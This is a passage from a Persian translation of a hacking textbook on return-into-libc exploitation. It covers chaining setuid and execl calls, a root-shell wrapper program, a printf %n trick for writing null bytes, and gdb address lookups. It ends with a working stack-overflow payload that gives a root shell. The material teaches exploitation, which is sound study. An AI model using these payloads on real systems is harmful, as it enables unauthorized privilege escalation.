‫ﻓﺮاﺧﻮاﻧﯽ )(‪ setuid‬ﺑﺎ آرﮔﻮﻣﺎن ﻫﺎﯾﺶ اﺟﺮا ﻣﯽ ﮔﺮدد‪ .‬ﭼﻮن اﯾﻦ ﺗﺎﺑﻊ ﻓﻘﻂ ﯾـﮏ آرﮔﻮﻣـﺎن اﺣﺘﯿـﺎج دارد‪ ،‬ﻟـﺬا آرﮔﻮﻣـﺎن‬
‫ﻣﺮﺑﻮط ﺑﻪ ﻓﺮاﺧﻮاﻧﯽ )(‪) system‬ﮐﻠﻤﻪ ﺑﻌﺪی( ﻧﺎدﯾﺪه ﮔﺮﻓﺘـﻪ ﻣـﯽ ﺷـﻮد‪ .‬ﭘـﺲ از اﺗﻤـﺎم ﻓﺮاﺧـﻮاﻧﯽ‪ ،‬روﻧـﺪ اﺟـﺮا ﺑـﻪ ﺗـﺎﺑﻊ‬
‫)(‪ system‬ﺑﺎز ﻣﯽ ﮔﺮدد ﮐﻪ ﻃﺒﻖ اﻧﺘﻈﺎر از آرﮔﻮﻣﺎن ﺧﻮد اﺳﺘﻔﺎده ﮐﺮده و اﺟﺮا ﻣﯽ ﺷﻮد‪.‬‬
‫ﻧﻈﺮﯾﻪ ی زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮﻧﯽ ﻫﺎ ﮐﺎﻣﻼ زﯾﺮﮐﺎﻧﻪ اﺳﺖ‪ ،‬اﻣـﺎ ﻣـﺸﮑﻼت ذاﺗـﯽ دﯾﮕـﺮی در راﺑﻄـﻪ ﺑـﺎ اﯾـﻦ روش ﺟﻬـﺖ‬
‫ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات وﺟﻮد دارد‪ .‬آرﮔﻮﻣﺎن )(‪ setuid‬ﺑﻪ ﺻﻮرت ﯾﮏ ﻋﺪد ﺻﺤﯿﺢ ﺑﺪون ﻋﻼﻣﺖ ﻣﻮرد ﻧﻈﺮ اﺳـﺖ‪ ،‬ﻟـﺬا‬
‫ﺑﺮای ﺑﺎزﯾﺎﺑﯽ ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ ﺑﺎﯾﺪ اﯾﻦ ﻣﻘﺪار ﺑﺮاﺑﺮ ﺑﺎ ‪ 0x00000000‬ﺑﺎﺷﺪ‪ .‬ﻟﺬا ﻣﺘﺎﺳﻔﺎﻧﻪ ﺑﺎز ﻫﻢ ﺑـﻪ ﻣـﺸﮑﻞ ﺑﺎﯾـﺖ‬
‫ﻫﺎی ﭘﻮچ ﺑﺮ ﻣﯽ ﺧﻮرﯾﻢ‪ ،‬ﭼﺮا ﮐﻪ ﺑﺎﻓﺮ ﻣﺎ ﻫﻨﻮز ﯾﮏ رﺷﺘﻪ ﮐﻪ ﺑﺎﯾﺖ ﭘﻮچ ﻧﺸﺎن دﻫﻨﺪه اﻧﺘﻬـﺎی آن اﺳـﺖ‪ .‬ﺑـﺮای اﺟﺘﻨـﺎب از‬
‫ﺑﺎﯾﺖ ﻫـﺎی ﭘـﻮچ‪ ،‬ﮐﻤﺘـﺮﯾﻦ ﻣﻘـﺪار ﻗﺎﺑـﻞ اﺳـﺘﻔﺎده ﺑـﺮای اﯾـﻦ آرﮔﻮﻣـﺎن ‪ 0x01010101‬اﺳـﺖ ﮐـﻪ ﻣﻘـﺪار دﺳـﯿﻤﺎل آن‬

‫‪ 43‬ﻣﻨﻈﻮر داده ﻫﺎﯾﯽ اﺳﺖ ﮐﻪ ﻣﻘﺪار آﻧﻬﺎ ﻣﻬﻢ ﻧﯿﺴﺖ‪ ،‬ﺑﻠﮑﻪ ﻓﻘﻂ ﺑﺮای ﭘﺮ ﮐﺮدن ﯾﮏ ﻓﻀﺎ ﺑﻪ ﮐﺎر ﻣﯽ روﻧﺪ‪.‬‬
‫‪108‬‬
‫‪ 16843009‬اﺳﺖ‪ .‬اﮔﺮﭼﻪ ﺳﻄﺢ اﺧﺘﯿﺎر ﻧﺘﯿﺠﻪ ﺷﺪه ﻣﻄﻠﻮب ﻣﺎ ﻧﯿﺴﺖ‪ ،‬اﻣﺎ اﯾﺪه زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎ ﺑﺮاﯾﻤﺎن ﻣﻬـﻢ‬
‫و ﺑﺎ ارزش اﺳﺖ‪ ،‬ﻟﺬا ﺑﺎﯾﺪ راه ﻫﺎی دﯾﮕﺮی را اﻣﺘﺤﺎن ﮐﻨﯿﻢ‪.‬‬
‫‪$ cat > dummy.c‬‬
‫} ;)(‪int main() { setuid‬‬
‫‪$ gcc -o dummy dummy.c‬‬
‫‪$ gdb -q dummy‬‬
‫‪(gdb) break main‬‬
‫‪Breakpoint 1 at 0x8048406‬‬
‫‪(gdb) run‬‬
‫‪Starting program: /hacking/dummy‬‬

‫)( ‪Breakpoint 1, 0x08048406 in main‬‬


‫‪(gdb) p setuid‬‬
‫>‪$1 = {<text variable, no debug info>} 0x420b5524 <setuid‬‬
‫‪(gdb) quit‬‬
‫‪The program is running. Exit anyway? (y or n) y‬‬
‫‪$ ./vuln2 'perl -e 'print "ABCD"x7 .‬‬
‫'';"‪"\x24\x55\x0b\x42\x54\x9e\x04\x42\x01\x01\x01\x01\x40\xfc\xff\xbf‬‬
‫‪sh-2.05a$ id‬‬
‫)‪uid=16843009 gid=500(matrix) groups=500(matrix‬‬
‫‪sh-2.05a$ exit‬‬
‫‪exit‬‬
‫‪Segmentation fault‬‬
‫‪$‬‬
‫آدرس ﺗﺎﺑﻊ )(‪ setuid‬را ﻣﯽ ﺗﻮان ﺑﻪ روش ﻗﺒﻠﯽ ﭘﯿﺪا ﮐﺮد و ﻓﺮاﺧﻮاﻧﯽ ﮐﺘﺎﺑﺨﺎﻧﻪ ای زﻧﺠﯿﺮه ﺷﺪه را ﻧﯿـﺰ ﺑـﻪ ﻃﺮﯾﻘـﯽ ﮐـﻪ‬
‫ﻗﺒﻼ ﺗﻮﺿﯿﺢ داده ﺷﺪ ﺗﻨﻈﯿﻢ ﻣﯽ ﺷﻮد‪ .‬ﺑﺮای اﯾﻨﮑﻪ آرﮔﻮﻣﺎن ﻫﺎی ﺗﺎﺑﻊ )(‪ setuid‬ﺑﻬﺘﺮ دﯾﺪه و ﺧﻮاﻧـﺪه ﺷـﻮﻧﺪ‪ ،‬آﻧﻬـﺎ را ﺑـﻪ‬
‫ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ داده اﯾﻢ‪ .‬ﻫﻤﺎن ﻃﻮر ﮐﻪ اﻧﺘﻈﺎر ﻣﯽ رﻓﺖ ﺷﻨﺎﺳﻪ ﮐﺎرﺑﺮی ﺑﻪ ﺻﻮرت ‪ 16843009‬ﺗﻨﻈـﯿﻢ ﺷـﺪ‪ ،‬اﻣـﺎ‬
‫اﯾﻦ ﺷﻨﺎﺳﻪ و ﺳﻄﺢ اﺧﺘﯿﺎرات آن ﺑﺎ ﺳﻄﺢ اﺧﺘﯿﺎرات رﯾﺸﻪ ﺑﺴﯿﺎر ﺗﻔﺎوت دارد‪ .‬ﺑﺎﯾﺪ ﺑﻪ ﻃﺮﯾﻘﯽ ﺑﺪون ﭘﺎﯾﺎن دادن رﺷـﺘﻪ ﺑـﺎ‬
‫ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ ﺑﻪ ﻃﺮﯾﻘﯽ ﻓﺮاﺧﻮاﻧﯽ )‪ setuid(0‬را ﺑﺮﻗﺮار ﮐﺮد‪.‬‬

‫‪ .2,11,3‬اﺳﺘﻔﺎده از ﭘﻮﺷﺶ دﻫﻨﺪه‬

‫ﯾﮏ راه ﺳﺎده و ﻣﻮﺛﺮ اﯾﺠﺎد و اﺳﺘﻔﺎده از ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه )‪ (wrapper‬اﺳﺖ‪ .‬ﺑﺮﻧﺎﻣـﻪ ﭘﻮﺷـﺶ دﻫﻨـﺪه ﺷﻨﺎﺳـﻪ‬
‫ﮐﺎرﺑﺮی )و ﺷﻨﺎﺳﻪ ﮔﺮوه( را ﺑﺮاﺑﺮ ﺑﺎ ﺻﻔﺮ ﻗﺮار داده و ﺳﭙﺲ ﯾﮏ ﭘﻮﺳﺘﻪ را ﺗﻮﻟﯿﺪ ﻣﯽ ﮐﻨﺪ‪ .‬اﯾﻦ ﺑﺮﻧﺎﻣـﻪ ﺑـﻪ ﺳـﻄﺢ اﺧﺘﯿـﺎر‬
‫ﺧﺎﺻﯽ اﺣﺘﯿﺎج ﻧﺪارد‪ ،‬ﭼﺮا ﮐﻪ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ ‪ suid root‬آﻧﺮا اﺟﺮا ﺧﻮاﻫﺪ ﮐﺮد‪.‬‬
‫در ﺧﺮوﺟﯽ زﯾﺮ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه اﯾﺠﺎد‪ ،‬ﮐﺎﻣﭙﺎﯾﻞ ﮔﺸﺘﻪ و ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار اﺳﺖ‪.‬‬
‫‪$ cat > wrapper.c‬‬
‫)(‪int main‬‬
‫{‬
‫;)‪setuid(0‬‬
‫;)‪setgid(0‬‬
‫;)"‪system("/bin/sh‬‬
‫}‬
‫‪$ gcc -o /hacking/wrapper wrapper.c‬‬
‫"‪$ export WRAPPER="/hacking/wrapper‬‬
‫‪$ ./gtenv WRAPPER‬‬
‫‪WRAPPER is located at 0xbffffc71‬‬
‫‪$ ./vuln2 'perl -e 'print "ABCD"x7 .‬‬
‫'';"‪"\x54\x9e\x04\x42FAKE\x71\xfc\xff\xbf‬‬
‫‪sh-2.05a$ id‬‬
‫)‪uid=500(matrix) gid=500(matrix) groups=500(matrix‬‬
‫‪sh-2.05a$ exit‬‬
‫‪exit‬‬
‫‪Segmentation fault‬‬
‫‪$‬‬

‫‪109‬‬
‫ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺧﺮوﺟﯽ ﺑﺎﻻ ﻧﺸﺎن ﻣﯽ دﻫﺪ‪ ،‬ﺳﻄﺢ اﺧﺘﯿﺎرات ﻫﻨﻮز ﻫﻢ ﺣﺬف ﻣﯽ ﺷﻮﻧﺪ )‪ .(drop‬دﻟﯿﻞ آﻧﺮا ﻣﯽ داﻧﯿﺪ؟‬
‫ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه ﺑﺎ اﺳﺘﻔﺎده از ﺗﺎﺑﻊ )(‪ system‬اﺟﺮا ﻣﯽ ﺷﻮد و اﯾﻦ ﺗﺎﺑﻊ ﻧﯿﺰ ﻫﻤﻪ ﭼﯿﺰ را از ﻃﺮﯾﻖ ‪ /bin/sh‬اﺟﺮا ﻣﯽ‬
‫ﮐﻨﺪ و ﻫﻤﯿﻦ اﻣﺮ ﻣﻮﺟﺐ ﺣﺬف ﺷﺪن ﺳﻄﺢ اﺧﺘﯿﺎر ﺑﻪ ﻫﻨﮕﺎم اﺟﺮای ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨﺪه ﻣﯽ ﮔﺮدد‪ .‬ﺑﻪ ﻫﺮ ﺣﺎل ﯾﮏ ﺗﺎﺑﻊ‬
‫اﺟﺮای ﺻﺮﯾﺢ ﺗﺮ ﻣﺜﻞ )(‪ execl‬از ‪ /bin/sh‬اﺳﺘﻔﺎده ﻧﻤﯽ ﮐﻨﺪ و ﻟـﺬا ﺳـﻄﺢ اﺧﺘﯿـﺎرات ﻧﯿـﺰ ﻧﺒﺎﯾـﺴﺘﯽ ﺣـﺬف ﺷـﻮﻧﺪ‪ .‬اﯾـﻦ‬
‫ﺗﺎﺛﯿﺮات را ﻣﯽ ﺗﻮان ﺑﺎ ﭼﻨﺪ ﺑﺮﻧﺎﻣﻪ آزﻣﺎﯾﺸﯽ ﺑﻪ ﺳﺮﻋﺖ ﺑﺮرﺳﯽ و ﺗﺎﺋﯿﺪ ﮐﺮد‪.‬‬
‫‪$ cat > test.c‬‬
‫)(‪int main‬‬
‫{‬
‫;)"‪system("/hacking/wrapper‬‬
‫}‬
‫‪$ gcc -o test test.c‬‬
‫‪$ sudo chown root.root test‬‬
‫‪$ sudo chmod u+s test‬‬
‫‪$ ls -l test‬‬
‫‪-rwsrwxr-x‬‬ ‫‪1 root‬‬ ‫‪root‬‬ ‫‪13511 Apr 17 23:29 test‬‬
‫‪$ ./test‬‬
‫‪sh-2.05a$ id‬‬
‫)‪uid=500(matrix) gid=500(matrix) groups=500(matrix‬‬
‫‪sh-2.05a$ exit‬‬
‫‪exit‬‬
‫‪$‬‬
‫‪$ cat > test2.c‬‬
‫)(‪int main‬‬
‫{‬
‫;)‪execl("/hacking/wrapper", "/hacking/wrapper", 0‬‬
‫}‬
‫‪$ gcc -o test2 test2.c‬‬
‫‪$ sudo chown root.root test2‬‬
‫‪$ sudo chmod u+s test2‬‬
‫‪$ ls -l test2‬‬
‫‪-rwsrwxr-x‬‬ ‫‪1 root‬‬ ‫‪root‬‬ ‫‪13511 Apr 17 23:33 test2‬‬
‫‪$ ./test2‬‬
‫)‪sh-2.05a# id uid=0(root) gid=0(root) groups=500(matrix‬‬
‫‪sh-2.05a# exit‬‬
‫‪exit‬‬
‫‪$‬‬
‫ﺑﺮﻧﺎﻣﻪ ﻫﺎی آزﻣﺎﯾﺸﯽ ﺗﺎﺋﯿﺪ ﻣﯽ ﮐﻨﻨﺪ ﮐﻪ در ﺻﻮرت اﺟﺮا ﺷﺪن ﺑﺮﻧﺎﻣﻪ ﭘﻮﺷﺶ دﻫﻨـﺪه ﺑـﺎ )(‪ execl‬از درون ﯾـﮏ ﺑﺮﻧﺎﻣـﻪ‬
‫‪ ،suid root‬ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ ﺑﻪ ﻣﺎ اﻋﻄﺎ ﺧﻮاﻫﺪ ﺷﺪ‪ .‬ﻣﺘﺎﺳﻔﺎﻧﻪ ﺗﺎﺑﻊ )(‪ execl‬ﭘﯿﭽﯿـﺪه ﺗـﺮ از ﺗـﺎﺑﻊ )(‪ system‬اﺳـﺖ‪ ،‬ﺑـﻪ‬
‫ﺧﺼﻮص ﺟﻬﺖ ﺑﺎزﮔﺸﺖ ﺑﻪ ‪ .libc‬ﺗﺎﺑﻊ )(‪ system‬ﺗﻨﻬـﺎ ﺑـﻪ ﯾـﮏ آرﮔﻮﻣـﺎن واﺣـﺪ ﻧﯿـﺎز دارد‪ ،‬اﻣـﺎ ﺗـﺎﺑﻊ )(‪ execl‬ﺑـﻪ ﺳـﻪ‬
‫آرﮔﻮﻣﺎن اﺣﺘﯿﺎج دارد ﮐﻪ آﺧﺮﯾﻦ آرﮔﻮﻣﺎن آن ﺑﺎﯾﺪ ﭼﻬﺎر ﺑﺎﯾﺖ ﭘﻮچ ﺑﺎﺷﻨﺪ )ﺑـﺮای ﺧﺎﺗﻤـﻪ دادن ﻟﯿـﺴﺖ آرﮔﻮﻣـﺎن(‪ .‬اﻣـﺎ‬
‫اوﻟﯿﻦ ﺑﺎﯾﺖ ﭘﻮچ ﺳﺒﺐ ﺧﺎﺗﻤﻪ ﯾﺎﻓﺘﻦ رﺷﺘﻪ ی اوﻟﯿﻪ ﻣﯽ ﺷﻮد و ﺑﻪ ﻣﺸﮑﻠﯽ ﻣﺎﻧﻨﺪ ﻣﺸﮑﻼﺗﯽ ﻗﺒﻼ داﺷﺘﯿﻢ ﻣﻨﺠﺮ ﻣﯽ ﺷﻮد‪ .‬آﯾـﺎ‬
‫ﻣﯽ ﺗﻮاﻧﯿﺪ راه ﺣﻠﯽ را ﭘﯿﺸﻨﻬﺎد ﮐﻨﯿﺪ؟‬

‫‪ .2,11,4‬ﻧﻮﺷﺘﻦ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ از ﻃﺮﯾﻖ ﺑﺎزﮔﺸﺖ ﺑﻪ ﮐﺘﺎﺑﺨﺎﻧﻪ ‪C‬‬

‫ﺑﺪﯾﻬﯽ اﺳﺖ ﮐﻪ ﺟﻬﺖ ﺑﺮﻗﺮاری ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ )(‪ execl‬ﺑﯽ ﻧﻘﺺ ﺑﺎﯾﺪ ﻓﺮاﺧـﻮاﻧﯽ دﯾﮕـﺮی ﻗﺒـﻞ از آن ﺑﺎﺷـﺪ ﺗـﺎ ﮐﻠﻤـﻪ ‪4‬‬
‫ﺑﺎﯾﺘﯽ ﭘﻮچ را ﺑﻨﻮﯾﺴﺪ‪ .‬ﺑﺎ ﺻﺮف زﻣﺎن ﺑﺴﯿﺎر در ﺗﻤﺎم ﺗﻮاﺑﻊ ‪ libc‬ﺟﻬـﺖ ﯾـﺎﻓﺘﻦ ﺗـﺎﺑﻌﯽ ﻣﻨﺎﺳـﺐ اﯾـﻦ ﻋﻤـﻞ ﻧﻬﺎﯾﺘـﺎ ﺑـﻪ ﺗـﺎﺑﻊ‬
‫)(‪ printf‬رﺳﯿﺪﯾﻢ‪ .‬ﺷﻤﺎ ﺑﺎﯾﺪ از اﮐﺴﭙﻠﻮﯾﺖ ﻫﺎی رﺷـﺘﻪ‪-‬ﻓﺮﻣـﺖ ﺑـﺎ اﯾـﻦ ﺗـﺎﺑﻊ آﺷـﻨﺎﯾﯽ ﺧـﻮﺑﯽ داﺷـﺘﻪ ﺑﺎﺷـﯿﺪ‪ .‬اﺳـﺘﻔﺎده از‬
‫دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ اﯾﻦ اﻣﮑﺎن را ﺑﻪ ﺗﺎﺑﻊ ﻣﯽ دﻫﺪ ﮐﻪ ﻓﻘﻂ ﺑﻪ ﭘﺎراﻣﺘﺮﻫﺎی ﻣﻮرد ﻧﯿﺎز ﺧﻮد دﺳﺖ ﯾﺎﺑﺪ‪ .‬اﯾﻦ ﻣﻮﺿﻮع ﺑﻪ‬
‫ﻫﻨﮕﺎم زﻧﺠﯿﺮه ﮐﺮدن ﻓﺮاﺧﻮاﻧﯽ ﻫﺎی ‪ libc‬ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد‪ .‬ﻫﻤﭽﻨﯿﻦ ﭘﺎراﻣﺘﺮ ﻓﺮﻣﺖ ‪ %n‬را ﻣـﯽ ﺗـﻮان ﺟﻬـﺖ ﻧﻮﺷـﺘﻦ‬
‫ﭼﻬﺎر ﺑﺎﯾﺖ ﭘﻮچ ﺑﻪ ﮐﺎر ﺑﺮد‪ .‬ﻓﺮاﺧﻮاﻧﯽ زﻧﺠﯿﺮه ﺷﺪه ﻧﻬﺎﯾﯽ ﭼﯿﺰی ﺷﺒﯿﻪ ﺑﻪ زﯾﺮ ﺧﻮاﻫﺪ ﺷﺪ‪:‬‬

‫‪110‬‬
‫اﺑﺘﺪا ﺗﺎﺑﻊ )(‪ printf‬ﺑﺎ ﭼﻬﺎر آرﮔﻮﻣﺎن اﺟﺮا ﻣﯽ ﺷﻮد‪ ،‬اﻣﺎ اﺳﺘﻔﺎده از دﺳﺘﯿﺎﺑﯽ ﻣﺴﺘﻘﯿﻢ ﭘﺎراﻣﺘﺮ در رﺷﺘﻪ ﻓﺮﻣـﺖ ﻣﻮﺟـﻮد در‬
‫اوﻟﯿﻦ آرﮔﻮﻣﺎن ﺳﺒﺐ ﭘﺮﯾﺪن ﺗﺎﺑﻊ از آرﮔﻮﻣﺎن دوم و ﺳﻮم ﻣﯽ ﺷﻮد‪ .‬ﭼﻮن آﺧﺮﯾﻦ آرﮔﻮﻣﺎن ﻧﯿﺰ آدرس ﻫﻤﺎن آرﮔﻮﻣـﺎن‬
‫را ﻧﮕﻬﺪاری ﻣﯽ ﮐﻨﺪ‪ ،‬ﻟﺬا ﭼﻬﺎر ﺑﺎﯾﺖ ﭘﻮچ‪ ،‬اﯾﻦ آرﮔﻮﻣﺎن را ﺟﺎﯾﻨﻮﯾﺴﯽ ﺧﻮاﻫﻨﺪ ﮐﺮد‪ .‬ﺳﭙﺲ روﻧﺪ اﺟـﺮا ﺑـﻪ ﺗـﺎﺑﻊ )(‪execl‬‬
‫ﺑﺎز ﻣﯽ ﮔﺮدد و اﯾﻦ ﺗﺎﺑﻊ ﻃﺒﻖ اﻧﺘﻈﺎرش از ﺳﻪ آرﮔﻮﻣﺎن ﻣﻮﺟﻮد اﺳﺘﻔﺎده ﺧﻮاﻫﺪ ﮐﺮد‪ ،‬ﺑﻪ اﯾﻦ ﺻﻮرت آرﮔﻮﻣﺎن ﺳـﻮم )ﮐـﻪ‬
‫ﺑﺎ ﺑﺎﯾﺖ ﭘﻮچ ﺟﺎﯾﻨﻮﯾﺴﯽ ﺷﺪه ﺑﻮد( ﺳﺒﺐ ﭘﺎﯾﺎن دادن ﻟﯿﺴﺖ آرﮔﻮﻣﺎن ﺑﺎ ﯾﮏ ﺑﺎﯾﺖ ﭘﻮچ ﻣﯽ ﺷﻮد‪.‬‬
‫اﮐﻨﻮن ﮐﻪ ﻃﺮﺣﯽ ﺑﺮای ﭘﯿﺸﺒﺮد ﻓﺮآﯾﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﭘﯿﺪا ﮐﺮدﯾﻢ‪ ،‬ﺑﺎﯾﺪ آدرس ﻫﺎی ﺗﻮاﺑـﻊ ‪ libc‬را ﭘﯿـﺪا ﮐـﺮده و ﻫﻤﭽﻨـﯿﻦ‬
‫ﭼﻨﺪ رﺷﺘﻪ را در ﺣﺎﻓﻈﻪ ﻗﺮار دﻫﯿﻢ‪.‬‬
‫‪$ cat > dummy.c‬‬
‫} ;)(‪int main() { printf(0); execl‬‬
‫‪$ gcc -g -o dummy dummy.c‬‬
‫‪$ gdb -q dummy‬‬
‫‪(gdb) break main‬‬
‫‪Breakpoint 1 at 0x8048446: file dummy.c, line 1.‬‬
‫‪(gdb) run‬‬
‫‪Starting program: /hacking/dummy‬‬

‫‪Breakpoint 1, 0x08048446 in main () at dummy.c:1‬‬


‫‪1‬‬ ‫} ;)(‪int main() { printf(); execl‬‬
‫‪(gdb) p printf‬‬
‫>‪$1 = {<text variable, no debug info>} 0x4205a1b4 <printf‬‬
‫‪(gdb) p execl‬‬
‫>‪$2 = {<text variable, no debug info>} 0x420b4e54 <execl‬‬
‫‪(gdb) quit‬‬
‫‪The program is running. Exit anyway? (y or n) y‬‬
‫‪$‬‬
‫"‪$ export WRAPPER="/hacking/wrapper‬‬
‫"‪$ export FMTSTR="%3\$n‬‬
‫‪$ env | grep FMTSTR‬‬
‫‪FMTSTR=%3$n‬‬
‫‪$ ./gtenv FMTSTR‬‬
‫‪FMTSTR is located at 0xbffffedf‬‬
‫‪$ ./gtenv WRAPPER‬‬
‫‪WRAPPER is located at 0xbffffc65‬‬
‫‪$‬‬
‫ﺑﺮرﺳﯽ ﺑﺎﻻ ﺗﻤﺎم آدرس ﻫﺎی ﻣﻮرد ﻧﯿﺎز ﺑﻪ ﻏﯿﺮ آدرس آﺧﺮﯾﻦ آرﮔﻮﻣﺎن را ﻧﺸﺎن داد‪ .‬اﯾﻦ آرﮔﻮﻣﺎن در ﺣﻘﯿﻘـﺖ آدرس‬
‫ﺣﻘﯿﻘﯽ ﻣﮑﺎﻧﯽ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ ﺑﻬﻨﮕﺎم ﮐﭙﯽ ﺷـﺪن داده ﻫـﺎ در ﺣﺎﻓﻈـﻪ ﻧﺘﯿﺠـﻪ ﻣـﯽ ﺷـﻮد‪ .‬اﯾـﻦ آدرس ﺑﺎﯾـﺪ آدرس ﻣﺘﻐﯿـﺮ‬
‫‪ buffer‬ﺑﻌﻼوه ‪ 48‬ﺑﺎﯾﺖ ﺑﺎﺷﺪ‪ 28 .‬ﺑﺎﯾﺖ از ‪ 48‬ﺑﺎﯾﺖ ﺑﺮای ﭘﺮ ﮐﺮدن ﻓﻀﺎ ﺑﺎ داده ﻫﺎی ﭘﺮ ﮐﻨﻨﺪه )زﺑﺎﻟﻪ( اﺳﺘﻔﺎده ﻣﯽ ﺷﻮد‬
‫و ‪ 20‬ﺑﺎﯾﺖ از آن ﻧﯿﺰ ﺑﺮای آدرس ﻫﺎی ﻗﺒﻞ از ﻓﺮاﺧﻮاﻧﯽ ‪ return-into-libc‬ﮐﻨﺎر ﮔﺬاﺷـﺘﻪ ﻣـﯽ ﺷـﻮد )ﺑـﺴﺘﻪ ﺑـﻪ ﭘـﺸﺘﻪ‬
‫ﺳﯿﺴﺘﻢ ﺷﻤﺎ ﻣﻤﮑﻦ اﺳﺖ داده ﻫﺎی زﺑﺎﻟﻪ ﻣﻮرد ﻧﯿﺎز ﺑﺮای ﭘﺮ ﮐﺮدن ﻓﻀﺎ ﻣﺘﻔﺎوت ﺑﺎﺷﺪ(‪ .‬ﯾﮑﯽ از ﺳﺎده ﺗﺮﯾﻦ راه ﻫـﺎ ﺑـﺮای‬
‫ﮔﺮﻓﺘﻦ اﯾﻦ آدرس‪ ،‬اﺿﺎﻓﻪ ﮐﺮدن ﯾﮏ ﺟﻤﻠﻪ اﺷﮑﺎل زدا ﺑﻪ ﮐﺪﻣﻨﺒﻊ ﺑﺮﻧﺎﻣﻪ آﺳﯿﺐ ﭘﺬﯾﺮ و ﮐﺎﻣﭙﺎﯾﻞ ﮐﺮدن ﻣﺠﺪد آن اﺳﺖ‪.‬‬
‫‪$ cat vulnD.c‬‬
‫)][‪int main(int argc, char *argv‬‬
‫{‬
‫;]‪char buffer[5‬‬
‫;)‪printf("buffer is at %p\n", buffer‬‬ ‫‪// debugging‬‬
‫;)]‪strcpy(buffer, argv[1‬‬
‫;‪return 0‬‬
‫}‬
‫‪$ gcc -o vulnD vulnD.c‬‬
‫‪$ ./vulnD test‬‬
‫‪buffer is at 0xbffffa80‬‬
‫'';‪$ ./vulnD 'perl -e 'print "ABCD"x13‬‬
‫‪buffer is at 0xbffffa50‬‬
‫‪Segmentation fault‬‬
‫‪111‬‬
‫‪$ pcalc 0xfa50 + 48‬‬
‫‪64128‬‬ ‫‪0xfa80‬‬ ‫‪0y1111101010000000‬‬
‫‪$‬‬
‫ﺑﺎ ﮐﻤﮏ ﺧﻂ اﺷﮑﺎل زدا )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﺳﺖ( آدرس ﻣﺘﻐﯿﺮ ‪ buffer‬ﭼـﺎپ ﻣـﯽ ﺷـﻮد‪ .‬ﻇـﺎﻫﺮا ﺑـﺎﻓﺮ در‬
‫ﻣﮑﺎن ﻣﺸﺎﺑﻬﯽ ﻗﺮار ﮔﺮﻓﺘﻪ اﺳﺖ ﮐﻪ ﺑﺮﻧﺎﻣﻪ ‪ vuln2‬اﺟﺮا ﻣﯽ ﺷﺪ‪.‬‬
‫اﻣﺎ ﻃﻮل آرﮔﻮﻣﺎن ﺑﺮﻧﺎﻣﻪ ﺳﺒﺐ ﺗﻐﯿﯿﺮ ﻣﮑﺎن ﻣﺘﻐﯿﺮ ‪ buffer‬ﻣﯽ ﺷﻮد‪ .‬در ﺧﻼل ﻓﺮآﯾﻨﺪ اﮐـﺴﭙﻠﻮﯾﺖ‪ ،‬آرﮔﻮﻣـﺎن ﺣـﺎوی ‪13‬‬
‫ﮐﻠﻤﻪ )ﻣﻌﺎدل ‪ 52‬ﺑﺎﯾﺖ( داده ﺧﻮاﻫﺪ ﺑﻮد‪ .‬ﻣﯽ ﺗﻮان از ﯾﮏ آرﮔﻮﻣﺎن ﺟﻌﻠﯽ ﺑﺎ ﻃﻮل ﯾﮑﺴﺎن ﺟﻬﺖ ﮔـﺮﻓﺘﻦ آدرس ﺻـﺤﯿﺢ‬
‫‪ buffer‬اﺳﺘﻔﺎده ﮐﺮد‪ .‬ﺳﭙﺲ ‪ 48‬ﺑﺎﯾﺖ ﺑﻪ آدرس ‪ buffer‬اﺿﺎﻓﻪ ﺷﺪه ﺗﺎ ﻣﮑﺎن ﺳﻮﻣﯿﻦ آرﮔﻮﻣﺎن ﺗﺎﺑﻊ )(‪ execl‬ﭘﯿﺪا ﺷﻮد‪،‬‬
‫ﯾﻌﻨﯽ ﻫﻤﺎن ﺟﺎﯾﯽ ﮐﻪ ﺑﺎﯾﺪ ﮐﻠﻤﻪ ﭘﻮچ را در آﻧﺠﺎ ﻧﻮﺷﺖ‪.‬‬
‫ﺑﺎ داﻧﺴﺘﻦ آدرس ﻫﺎ و ﺑﺎرﮔﺬاری رﺷﺘﻪ ﻫﺎ در ﻣﺘﻐﯿﺮﻫﺎی ﻣﺤﯿﻄﯽ‪ ،‬ﻓﺮآﯾﻨﺪ اﮐﺴﭙﻠﻮﯾﺖ ﺑﻪ راﺣﺘﯽ ﻃﯽ ﻣﯽ ﺷﻮد‪.‬‬
‫‪$ ./vuln2 'perl -e 'print "ABCD"x7 . "\xb4\xa1\x05\x42" .‬‬
‫‪"\x54\x4e\x0b\x42" .‬‬
‫‪"\xdf\xfe\xff\xbf" . "\x65\xfc\xff\xbf" . "\x65\xfc\xff\xbf" .‬‬
‫'';"‪"\x80\xfa\xff\xbf‬‬
‫‪sh-2.05a# id‬‬
‫)‪uid=0(root) gid=0(root) groups=500(matrix‬‬
‫‪sh-2.05a# exit‬‬
‫‪exit‬‬

‫‪ .2,11,5‬ﻧﻮﺷﺘﻦ ﭼﻨﺪ ﮐﻠﻤﻪ ﺑﺎ ﯾﮏ ﻓﺮاﺧﻮاﻧﯽ واﺣﺪ‬

